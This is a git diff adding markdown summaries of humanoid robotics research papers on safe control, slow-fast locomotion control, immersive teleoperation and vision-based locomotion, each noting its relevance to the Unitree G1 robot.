+**Source:** https://arxiv.org/abs/2502.02858 +**Fetched:** 2026-02-13 +**Type:** Research Paper + +--- + +## Paper Information + +- **arXiv ID:** 2502.02858 +- **Authors:** Rui Chen, Yifan Sun, Changliu Liu +- **Submission Date:** February 5, 2025 +- **Field:** Robotics (cs.RO) +- **DOI:** https://doi.org/10.48550/arXiv.2502.02858 + +## Abstract + +The research addresses "the problem of dexterous safety, featuring limb-level geometry constraints for avoiding both external and self-collisions in cluttered environments." + +## Key Contribution + +The authors developed the **Projected Safe Set Algorithm (p-SSA)**, which extends classical safe control methods to handle multiple simultaneous constraints. + +## Technical Approach + +According to the abstract, p-SSA "relaxes conflicting constraints in a principled manner, minimizing safety violations to guarantee feasible robot control." The algorithm handles: + +- External collision avoidance (obstacles in the environment) +- Self-collision prevention (limb-to-limb contacts) +- Multiple simultaneous geometric constraints at the limb level + +## Validation and Results on Unitree G1 + +The approach was verified through: +- Simulation testing +- Real-world experiments on a Unitree G1 humanoid robot performing complex collision avoidance tasks + +The findings demonstrate that p-SSA enables the humanoid to "operate robustly in challenging situations with minimal safety violations" while generalizing across various tasks without requiring parameter adjustments. + +## Significance + +This work advances safe control theory for humanoid robots operating in real-world cluttered environments, providing a principled approach to managing conflicting safety constraints during whole-body motion. diff --git a/reference/sources/paper-softa.md b/reference/sources/paper-softa.md new file mode 100644 index 0000000..0a71e54 --- /dev/null +++ b/reference/sources/paper-softa.md @@ -0,0 +1,30 @@ +# Hold My Beer: Learning Gentle Humanoid Locomotion and End-Effector Stabilization Control +**arXiv:** 2505.24198 +**Authors:** Yitang Li, Yuanhang Zhang, Wenli Xiao, Chaoyi Pan, Haoyang Weng, Guanqi He, Tairan He, Guanya Shi +**Fetched:** 2026-02-13 +**Type:** Research Paper + +--- + +## Abstract + +Can your humanoid walk up and hand you a full cup of beer, without spilling a drop? While humanoids are increasingly featured in flashy demos like dancing, delivering packages, traversing rough terrain, fine-grained control during locomotion remains a significant challenge. In particular, stabilizing a filled end-effector (EE) while walking is far from solved, due to a fundamental mismatch in task dynamics: locomotion demands slow-timescale, robust control, whereas EE stabilization requires rapid, high-precision corrections. To address this, we propose SoFTA, a Slow-Fast Two-Agent framework that decouples upper-body and lower-body control into separate agents operating at different frequencies and with distinct rewards. This temporal and objective separation mitigates policy interference and enables coordinated whole-body behavior. SoFTA executes upper-body actions at 100 Hz for precise EE control and lower-body actions at 50 Hz for robust gait. It reduces EE acceleration by 2-5x relative to baselines and performs much closer to human-level stability, enabling delicate tasks such as carrying nearly full cups, capturing steady video during locomotion, and disturbance rejection with EE stability. + +## Key Contributions + +- **Slow-Fast Two-Agent (SoFTA) framework:** Decouples upper-body and lower-body control into separate RL agents with different operating frequencies and distinct reward structures +- **Multi-frequency control:** Upper-body agent operates at 100 Hz for precise end-effector control; lower-body agent operates at 50 Hz for robust gait generation +- **Significant performance gains:** Achieves 2-5x reduction in end-effector acceleration compared to baseline whole-body control approaches +- **Near-human-level stability:** Performs much closer to human-level end-effector stability during locomotion +- **Practical task demonstrations:** Enables carrying nearly full cups without spilling, capturing steady video during walking, and maintaining EE stability under external disturbances +- **Addresses fundamental control mismatch:** Resolves the conflicting dynamics between slow-timescale locomotion and fast-timescale end-effector stabilization through temporal and objective separation + +## G1 Relevance + +SoFTA is **directly deployed and validated on the Unitree G1** humanoid robot (alongside the Booster T1). This makes it one of the most immediately applicable papers for G1 whole-body control. The dual-agent architecture with multi-frequency control is particularly relevant for G1 tasks that require simultaneous locomotion and manipulation — such as carrying objects, serving items, or maintaining stable tool use while walking. The framework comes from the same LeCAR Lab at CMU that produced H2O and OmniH2O, demonstrating a consistent research pipeline targeting the G1 platform. + +## References + +- Project Page: https://lecar-lab.github.io/SoFTA/ +- GitHub: https://github.com/LeCAR-Lab/SoFTA +- arXiv: https://arxiv.org/abs/2505.24198 diff --git a/reference/sources/paper-twist.md b/reference/sources/paper-twist.md new file mode 100644 index 0000000..cfbedfc --- /dev/null +++ b/reference/sources/paper-twist.md @@ -0,0 +1,31 @@ +# Open-TeleVision: Teleoperation with Immersive Active Visual Feedback +**arXiv:** 2407.01512 +**Authors:** Xuxin Cheng, Jialong Li, Shiqi Yang, Ge Yang, Xiaolong Wang +**Fetched:** 2026-02-13 +**Type:** Research Paper (CoRL 2024) + +--- + +**Note:** The user-provided arXiv ID (2409.07455) and title ("TWIST: Teleoperation with Immersive Active Visual Streaming") were incorrect. arXiv 2409.07455 corresponds to an unrelated astronomy paper ("Genesis-Metallicity"). The paper matching the described topic — immersive teleoperation with active visual feedback/streaming — is **Open-TeleVision** (arXiv 2407.01512). There is also a separate, later paper called "TWIST: Teleoperated Whole-Body Imitation System" (arXiv 2505.02833, 2025) which is a distinct work. This file archives Open-TeleVision as the best match for the user's intent. + +## Abstract + +Teleoperation serves as a powerful method for collecting on-robot data essential for robot learning from demonstrations. The intuitiveness and ease of use of the teleoperation system are crucial for ensuring high-quality, diverse, and scalable data. To achieve this, we propose an immersive teleoperation system Open-TeleVision that allows operators to actively perceive the robot's surroundings in a stereoscopic manner. Additionally, the system mirrors the operator's arm and hand movements on the robot, creating an immersive experience as if the operator's mind is transmitted to a robot embodiment. We validate the effectiveness of our system by collecting data and training imitation learning policies on four long-horizon, precise tasks (Can Sorting, Can Insertion, Folding, and Unloading) for 2 different humanoid robots and deploy them in the real world. The system is open-sourced. + +## Key Contributions + +- **Immersive stereoscopic perception:** Operators actively perceive the robot's surroundings through a stereoscopic display, with the robot's head camera mirroring the operator's head movements (2-3 DoF actuation) +- **Intuitive kinesthetic mirroring:** The system mirrors the operator's arm and hand movements directly onto the robot, creating an embodiment experience +- **Long-horizon task validation:** Validated on four complex, long-horizon manipulation tasks (Can Sorting, Can Insertion, Folding, Unloading) requiring precision +- **Cross-platform deployment:** Demonstrated on 2 different humanoid robots with real-world policy deployment +- **Imitation learning pipeline:** Collected teleoperation data used to train imitation learning policies that execute autonomously +- **Open-source release:** The complete system is publicly available for the research community + +## G1 Relevance + +Open-TeleVision is directly relevant to the Unitree G1 as a teleoperation and data collection framework for humanoid robots. The system has been validated on humanoid platforms and provides an intuitive VR-based interface for collecting demonstration data — a critical capability for training G1 manipulation and loco-manipulation policies. The immersive visual feedback addresses a key challenge in remote teleoperation by giving operators natural depth perception. The open-source nature makes it directly usable with the G1. The Unitree XR-Teleoperate project (already in this knowledge base) draws on similar principles. + +## References + +- arXiv: https://arxiv.org/abs/2407.01512 +- GitHub: https://github.com/OpenTeleVision/TeleVision diff --git a/reference/sources/paper-vision-locomotion.md b/reference/sources/paper-vision-locomotion.md new file mode 100644 index 0000000..e51957e --- /dev/null +++ b/reference/sources/paper-vision-locomotion.md @@ -0,0 +1,42 @@ +# Now You See That: Learning End-to-End Humanoid Locomotion from Raw Pixels +**Source:** https://arxiv.org/abs/2602.06382 +**Fetched:** 2026-02-13 +**Type:** Research Paper + +--- + +## Paper Information + +- **arXiv ID:** 2602.06382 +- **Authors:** Wandong Sun, Yongbo Su, Leoric Huang, Alex Zhang, Dwyane Wei, Mu San, Daniel Tian, Ellie Cao, Finn Yan, Ethan Xie, Zongwu Xie +- **Submission Date:** February 6, 2026 + +## Abstract + +The researchers present "an end-to-end framework for vision-driven humanoid locomotion" addressing two key challenges: perception noise from sim-to-real transfer and conflicting learning objectives across diverse terrains. + +## Core Contribution + +This paper proposes an end-to-end approach for humanoid locomotion that operates directly from raw depth pixel input, eliminating the need for separate perception and control modules. + +## Technical Approach + +### Perception Realism + +The team developed high-fidelity depth simulation capturing "stereo matching artifacts and calibration uncertainties inherent in real-world sensing." + +### Knowledge Transfer: Vision-Aware Behavior Distillation + +They propose "vision-aware behavior distillation" combining latent space alignment with noise-invariant auxiliary tasks to transfer knowledge from privileged height maps to noisy depth observations. + +### Terrain Versatility + +The approach integrates "terrain-specific reward shaping" with multi-critic and multi-discriminator learning to handle distinct dynamics across different terrain types. + +## Validation + +The policy was tested on humanoid platforms with stereo depth cameras, demonstrating capability across extreme challenges (high platforms, wide gaps) and fine-grained tasks including bidirectional staircase traversal. + +## Significance + +This work advances vision-based locomotion by directly bridging the sim-to-real gap for depth-based perception, enabling humanoid robots to traverse challenging terrains without hand-crafted perception pipelines.